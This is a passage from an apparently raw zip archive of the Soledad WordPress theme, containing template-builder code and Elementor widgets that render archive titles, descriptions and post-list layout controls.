			$template = locate_template( array( 'inc/template-builder/other/404.php' ) );
		}

		return $template;
	}

	public function fof_add_post_state( $post_states, $post ) {

		$post_name = get_theme_mod( 'fof_page' );

		if ( $post_name && $post->post_name == $post_name && $post->post_type == 'page' ) {
			$post_states[] = __( '404 Page', 'solead' );
		}

		return $post_states;
	}

	public function preview_image( $url, $postid ) {
		if ( penci_elementor_is_edit_mode() && ( is_singular( 'custom-post-template' ) || is_singular( 'archive-template' ) ) ) {
			$url = PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1200&h=800';
		}

		return $url;
	}

	public function preview_image_html( $html, $postid, $post_thumbnail_id, $size, $attr ) {
		if ( penci_elementor_is_edit_mode() && ( is_singular( 'custom-post-template' ) || is_singular( 'archive-template' ) ) ) {
			global $_wp_additional_image_sizes;
			$w = 1200;
			$h = 800;

			if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
				$w = $_wp_additional_image_sizes[ $size ]['width'];
				$h = $_wp_additional_image_sizes[ $size ]['height'];
			}

			$html = '<img src="' . PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $w . '&h=' . $h . '" alt="" />';
		}

		return $html;
	}

}

PenciTemplateBuilder::getInstance();
PK     N\|?E    5  inc/template-builder/archive-elements/description.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveDescription extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Description', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-text';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return [ 'archive', 'description' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcab-adesc elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-description';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'desc_align', [
			'label'     => __( 'Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-category-description.post-entry' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'desc_typo',
			'label'    => __( 'Typography for Archive Description', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-archive-description.post-entry, {{WRAPPER}} .penci-archive-description.post-entry p',
		) );

		$this->add_control( 'text-color', [
			'label'     => 'Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-color', [
			'label'     => 'Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-hcolor', [
			'label'     => 'Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a:hover' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'readmore-heading', [
			'label'     => 'Read More',
			'type'      => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'readmore-bg-color', [
			'label'     => 'Read More Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button:before' => 'background: linear-gradient(to bottom, transparent 0px, {{VALUE}} 40px);' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'readmore_btn_typo',
			'label'    => __( 'Typography for Read more', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-category-description-button a',
		) );

		$this->add_control( 'readmore_btn_color', [
			'label'     => 'Read More Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'readmore_btn_hcolor', [
			'label'     => 'Read More Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'desc_maxheight', [
			'label'     => 'Max Height for Description Text',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
			'selectors' => [ 'body:not(.penci-disable-desc-collapse) {{WRAPPER}} .penci-category-description' => 'max-height:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		?>
        <div class="post-entry penci-category-description penci-archive-description">
            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus consequuntur eius iste mollitia quo
                veritatis, voluptatum. Atque culpa deleniti eligendi est explicabo modi officia optio porro reiciendis
                tempore, ut voluptas!</p>
        </div>
		<?php
	}

	protected function builder_content() {

		$desc_content = $button_desc = '';

		if ( ! get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ) {

			$button_desc = '<div class="penci-category-description-button"><a aria-label="' . penci_get_setting( 'penci_trans_read_more' ) . '" title="' . penci_get_setting( 'penci_trans_read_more' ) . '" href="#">' . penci_get_setting( 'penci_trans_read_more' ) . '</a></div>';
		}

		if ( is_tag() && tag_description() ) {
			$desc_content = '<div class="post-entry penci-archive-description penci-tag-description"><div class="penci-category-description-inner">' . do_shortcode( tag_description() ) . '</div>' . $button_desc . '</div>';
		} elseif ( is_category() && category_description() ) {
			$desc_content = '<div class="post-entry penci-archive-description penci-category-description"><div class="penci-category-description-inner">' . do_shortcode( category_description() ) . '</div>' . $button_desc . '</div>';
		} elseif ( is_archive() && get_the_archive_description() ) {
			$desc_content = '<div class="post-entry penci-category-description penci-archive-description"><div class="penci-category-description-inner">' . do_shortcode( get_the_archive_description() ) . '</div>' . $button_desc . '</div>';
		}
		echo $desc_content;
	}
}
PK     N\5Ī>  >  /  inc/template-builder/archive-elements/title.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveTitle extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Title', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-title';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return [ 'archive', 'title' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcab-atitle elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-title';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'heading_markup', [
			'label'   => esc_html__( 'Heading Markup', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'h1',
			'options' => [
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			]
		] );

		$this->add_control( 'heading_align', [
			'label'   => __( 'Heading Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::CHOOSE,
			'default' => 'left',
			'options' => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'  => true,
		] );

		$this->add_control( 'heading_line', [
			'label'     => __( 'Remove Heading Line', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .pcab-abox .title-bar:after' => 'display:none',
				'{{WRAPPER}} .pcab-abox .title-bar'       => 'padding:0;margin:0;',
			],
		] );

		$this->add_control( 'show_desc', [
			'label' => __( 'Show Archive Description', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'desc_position', [
			'label'     => esc_html__( 'Description Position', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => 'after',
			'condition' => [ 'show_desc' => 'yes' ],
			'options'   => [
				'after'  => 'After Title',
				'before' => 'Before Title',
			]
		] );

		$this->add_control( 'desc_align', [
			'label'     => __( 'Description Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'center',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-category-description.post-entry' => 'text-align:{{VALUE}}' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_responsive_control( 'desc_spacing', [
			'label'      => 'Description Spacing',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .post-entry.pcdcp-after'  => 'margin-top:{{SIZE}}px !important;',
				'{{WRAPPER}} .post-entry.pcdcp-before' => 'margin-bottom:{{SIZE}}px !important;',
			],
			'condition'  => [ 'show_desc' => 'yes' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_main_typo',
			'label'    => __( 'Typography for Archive Main Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .archive-box .page-title, {{WRAPPER}} .archive-box span',
		) );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Prefix Text', 'soledad' ),
			'selector' => '{{WRAPPER}} .archive-box span',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Main Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .archive-box .page-title, {{WRAPPER}} .archive-box span' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'text-color', [
			'label'     => 'Prefix Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .archive-box span' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'heading-line-color', [
			'label'     => 'Heading Line Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcab-abox .title-bar:after' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'heading-line-s', [
			'label'      => 'Heading Line Spacing with Title',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pcab-abox .title-bar' => 'padding-bottom:{{SIZE}}px;',
			],
		] );

		$this->add_control( 'heading-line-w', [
			'label'      => 'Heading Line Width',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pcab-abox .title-bar:after'              => 'width:{{SIZE}}px !important;',
				'{{WRAPPER}} .pcab-abox .title-bar.align-center:after' => 'margin-left:calc({{SIZE}}px / 2 * -1)',
			],
		] );

		$this->add_control( 'heading-line-h', [
			'label'      => 'Heading Line Height',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 50 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .pcab-abox .title-bar:after' => 'height:{{SIZE}}px !important;',
			],
		] );

		// desc style

		$this->add_control( 'desc-heading', [
			'label'     => 'Archive Description',
			'type'      => \Elementor\Controls_Manager::HEADING,
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'desc_typo',
			'label'     => __( 'Typography for Archive Description', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-archive-description.post-entry, {{WRAPPER}} .penci-archive-description.post-entry p',
			'condition' => [ 'show_desc' => 'yes' ],
		) );

		$this->add_control( 'desc-color', [
			'label'     => 'Description Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'main-dtext-color', [
			'label'     => 'Description Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'main-dtext-hcolor', [
			'label'     => 'Description Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-archive-description.post-entry a:hover' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'readmore-heading', [
			'label'     => 'Read More',
			'type'      => \Elementor\Controls_Manager::HEADING,
			'condition' => [ 'show_desc' => 'yes' ],
		] );

		$this->add_control( 'readmore-bg-color', [
			'label'     => 'Read More Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'show_desc' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button:before' => 'background: linear-gradient(to bottom, transparent 0px, {{VALUE}} 40px);' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'readmore_btn_typo',
			'label'     => __( 'Typography for Read more', 'soledad' ),
			'condition' => [ 'show_desc' => 'yes' ],
			'selector'  => '{{WRAPPER}} .penci-category-description-button a',
		) );

		$this->add_control( 'readmore_btn_color', [
			'label'     => 'Read More Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'show_desc' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'readmore_btn_hcolor', [
			'label'     => 'Read More Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => [ 'show_desc' => 'yes' ],
			'selectors' => [ '{{WRAPPER}} .penci-category-description-button a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'desc_maxheight', [
			'label'     => 'Max Height for Description Text',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'condition' => [ 'show_desc' => 'yes' ],
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
			'selectors' => [ 'body:not(.penci-disable-desc-collapse) {{WRAPPER}} .penci-category-description' => 'max-height:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings      = $this->get_settings();
		$heading_tag   = $settings['heading_markup'];
		$align         = $settings['heading_align'];
		$desc_position = $settings['desc_position'] ? $settings['desc_position'] : 'after';
		$desc_content  = '<div class="post-entry penci-category-description penci-archive-description pcdcp-' . $desc_position . '">
            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus consequuntur eius iste mollitia quo
                veritatis, voluptatum. Atque culpa <a href="#">deleniti eligendi</a> est explicabo modi officia optio porro reiciendis
                tempore, ut voluptas!</p>
        </div>';
		if ( $settings['desc_position'] == 'before' && $settings['show_desc'] ) {
			echo $desc_content;
		}
		?>
        <div class="archive-box pcab-abox">
            <div class="title-bar align-<?php echo $align; ?>">
                <span><?php _e( 'Prefix Text: ', 'soledad' ); ?></span>
                <<?php echo $heading_tag; ?> class="page-title">
				<?php _e( 'Archive Title', 'soledad' ); ?>
            </<?php echo $heading_tag; ?>>
        </div>
        </div>
		<?php
		if ( $settings['desc_position'] != 'before' && $settings['show_desc'] ) {
			echo $desc_content;
		}
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$heading_tag   = $settings['heading_markup'];
		$align         = $settings['heading_align'];
		$desc_position = $settings['desc_position'] ? $settings['desc_position'] : 'after';

		$desc_content = $button_desc = '';

		if ( $settings['show_desc'] ) {

			if ( ! get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ) {

				$button_desc = '<div class="penci-category-description-button"><a aria-label="' . penci_get_setting( 'penci_trans_read_more' ) . '" title="' . penci_get_setting( 'penci_trans_read_more' ) . '" href="#">' . penci_get_setting( 'penci_trans_read_more' ) . '</a></div>';
			}
			if ( is_tag() && tag_description() ) {
				$desc_content = '<div class="post-entry penci-archive-description penci-tag-description pcdcp-' . $desc_position . '"><div class="penci-category-description-inner">' . do_shortcode( tag_description() ) . '</div>' . $button_desc . '</div>';
			} elseif ( is_category() && category_description() ) {
				$desc_content = '<div class="post-entry penci-archive-description penci-category-description pcdcp-' . $desc_position . '"><div class="penci-category-description-inner">' . do_shortcode( category_description() ) . '</div>' . $button_desc . '</div>';
			} elseif ( is_archive() && get_the_archive_description() ) {
				$desc_content = '<div class="post-entry penci-category-description penci-archive-description penci-acdes-below pcdcp-' . $desc_position . '"><div class="penci-category-description-inner">' . do_shortcode( get_the_archive_description() ) . '</div>' . $button_desc . '</div>';
			}
		}

		if ( $desc_position == 'before' && $desc_content ) {
			echo $desc_content;
		}

		?>
        <div class="archive-box pcab-abox">
            <div class="title-bar align-<?php echo $align; ?>">
				<?php
				if ( is_day() ) :
					if ( penci_get_setting( 'penci_trans_daily_archives' ) ):
						echo '<span>';
						echo penci_get_setting( 'penci_trans_daily_archives' );
						echo ' </span>';
					endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date() );
                elseif ( is_month() ) :
					if ( penci_get_setting( 'penci_trans_monthly_archives' ) ):
						echo '<span>';
						echo penci_get_setting( 'penci_trans_monthly_archives' );
						echo ' </span>';
					endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'F Y', 'monthly archives date format', 'soledad' ) ) );
                elseif ( is_year() ) :
					if ( penci_get_setting( 'penci_trans_yearly_archives' ) ):
						echo '<span>';
						echo penci_get_setting( 'penci_trans_yearly_archives' );
						echo ' </span>';
					endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'Y', 'yearly archives date format', 'soledad' ) ) );
                elseif ( is_author() ) :
					echo '<span>';
					echo penci_get_setting( 'penci_trans_author' );
					echo ' </span>';
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_userdata( get_query_var( 'author' ) )->display_name );
                elseif ( is_category() ):
					if ( ! get_theme_mod( 'penci_remove_cat_words' ) ): ?>
                        <span><?php echo penci_get_setting( 'penci_trans_category' ); ?></span>
					<?php endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_cat_title( '', false ) );
					do_action( 'penci_archive_follow_button' );
				elseif ( is_tag() ):
					if ( ! get_theme_mod( 'penci_remove_tag_words' ) ): ?>
                        <span><?php echo penci_get_setting( 'penci_trans_tag' ); ?></span>
					<?php endif;
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_tag_title( '', false ) );
                elseif ( is_search() ):
					echo '<span>' . penci_get_setting( 'penci_trans_search_results_for' ) . '</span> ';
					printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">"%s"</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_search_query() );
                elseif ( is_tax() ) :
					the_archive_title( '<' . $heading_tag . ' class="page-title">', '</' . $heading_tag . '>' );
				else :
					echo '<' . $heading_tag . ' class="page-title">';
					echo penci_get_setting( 'penci_trans_archives' );
					echo '</' . $heading_tag . '>';
				endif;
				?>
            </div>
        </div>
		<?php
		if ( $desc_position != 'before' && $desc_content ) {
			echo $desc_content;
		}
	}
}
PK     N\E  /  inc/template-builder/archive-elements/posts.phpnu [        <?php

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;


if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciArchivePosts extends Base_Widget {

	public function get_name() {
		return 'penci-archive-posts';
	}

	public function get_title() {
		return esc_html__( 'Archive - Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return array( 'post', 'cpt', 'item', 'loop', 'query', 'cards', 'custom post type', 'latest', 'recent' );
	}

	protected function _register_controls() {
		parent::_register_controls();

		$style_big_post   = array(
			'mixed',
			'mixed-4',
			'mixed-2',
			'standard-grid',
			'standard-grid-2',
			'standard-list',
			'standard-boxed-1',
			'classic-grid',
			'classic-grid-2',
			'classic-list',
			'classic-boxed-1',
			'overlay-grid',
			'overlay-grid-2',
			'overlay-list',
			'overlay-boxed-1'
		);
		$color_big_post   = array( 'mixed-2', 'overlay-grid', 'overlay-grid-2', 'overlay-list', 'overlay-boxed-1' );
		$style_extra_post = array( 'featured', 'mixed-4' );

		$this->start_controls_section(
			'section_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_style', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'grid',
				'options' => array(
					'standard'         => esc_html__( 'Standard Posts', 'soledad' ),
					'classic'          => esc_html__( 'Classic Posts', 'soledad' ),
					'overlay'          => esc_html__( 'Overlay Posts', 'soledad' ),
					'featured'         => esc_html__( 'Featured Boxed', 'soledad' ),
					'grid'             => esc_html__( 'Grid Posts', 'soledad' ),
					'grid-2'           => esc_html__( 'Grid 2 Columns Posts', 'soledad' ),
					'masonry'          => esc_html__( 'Grid Masonry Posts', 'soledad' ),
					'masonry-2'        => esc_html__( 'Grid Masonry 2 Columns Posts', 'soledad' ),
					'list'             => esc_html__( 'List Posts', 'soledad' ),
					'small-list'       => esc_html__( 'Small List Posts', 'soledad' ),
					'boxed-1'          => esc_html__( 'Boxed Posts Style 1', 'soledad' ),
					'boxed-2'          => esc_html__( 'Boxed Posts Style 2', 'soledad' ),
					'photography'      => esc_html__( 'Photography Posts', 'soledad' ),
					'mixed'            => esc_html__( 'Mixed Posts', 'soledad' ),
					'mixed-2'          => esc_html__( 'Mixed Posts Style 2', 'soledad' ),
					'mixed-larger'     => esc_html__( 'Mixed Posts Larger', 'soledad' ),
					'mixed-3'          => esc_html__( 'Mixed Posts Style 3', 'soledad' ),
					'mixed-4'          => esc_html__( 'Mixed Posts Style 4', 'soledad' ),
					'standard-grid'    => esc_html__( '1st Standard Then Grid', 'soledad' ),
					'standard-grid-2'  => esc_html__( '1st Standard Then Grid 2 Columns', 'soledad' ),
					'standard-list'    => esc_html__( '1st Standard Then List', 'soledad' ),
					'standard-boxed-1' => esc_html__( '1st Standard Then Boxed', 'soledad' ),
					'classic-grid'     => esc_html__( '1st Classic Then Grid', 'soledad' ),
					'classic-grid-2'   => esc_html__( '1st Classic Then Grid 2 Columns', 'soledad' ),
					'classic-list'     => esc_html__( '1st Classic Then List', 'soledad' ),
					'classic-boxed-1'  => esc_html__( '1st Classic Then Boxed', 'soledad' ),
					'overlay-grid'     => esc_html__( '1st Overlay Then Grid', 'soledad' ),
					'overlay-grid-2'   => esc_html__( '1st Overlay Then Grid 2 Columns', 'soledad' ),
					'overlay-list'     => esc_html__( '1st Overlay Then List', 'soledad' ),
					'overlay-boxed-1'  => esc_html__( '1st Overlay Then Boxed', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_mixed_style', array(
				'label'     => __( 'Mixed Post Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 's1',
				'options'   => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
				),
				'condition' => array( 'penci_style' => array( 'mixed', 'mixed-2' ) ),
			)
		);
		$this->add_control(
			'post_alignment', array(
				'label'       => __( 'Post Header Alignment', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
			)
		);

		$this->add_responsive_control(
			'penci_items_martop',
			array(
				'label'       => __( 'Rows Gap Between Post Items', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-grid > li, {{WRAPPER}} .grid-featured, {{WRAPPER}} .penci-grid li.typography-style, {{WRAPPER}} .grid-mixed, {{WRAPPER}} .penci-grid .list-post.list-boxed-post, {{WRAPPER}} .penci-masonry .item-masonry, {{WRAPPER}} article.standard-article, {{WRAPPER}} .penci-grid li.list-post, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
					'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                                                                                => 'padding-bottom: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                                                                                                                                                                            => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp'                                                                                                                                                            => 'margin-top: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child'                                                                                                                                                  => 'margin-bottom: {{SIZE}}px;'
				),
				'label_block' => true,
			)
		);

		$this->add_responsive_control(
			'penci_bitems_martop',
			array(
				'label'       => __( 'Rows Gap for Big Post Items', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .grid-featured, {{WRAPPER}} .grid-mixed, {{WRAPPER}} article.standard-article, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
				),
				'label_block' => true,
				'condition'   => array(
					'penci_style' => array(
						'mixed',
						'mixed-2',
						'mixed-4',
						'standard-grid',
						'standard-list',
						'standard-grid-2',
						'standard-boxed',
						'classic-grid',
						'classic-list',
						'classic-grid-2',
						'classic-boxed',
						'overlay-grid',
						'overlay-list',
						'overlay-grid-2',
						'overlay-boxed'
					)
				),
			)
		);

		$this->add_responsive_control(
			'penci_sitems_martop',
			array(
				'label'       => __( 'Rows Gap for Small List Post Items', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-grid li.penci-slistp'                                                                                                                                  => 'margin-bottom: {{SIZE}}px; padding-bottom: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                 => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
					'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp' => 'margin-top: {{SIZE}}px;',
				),
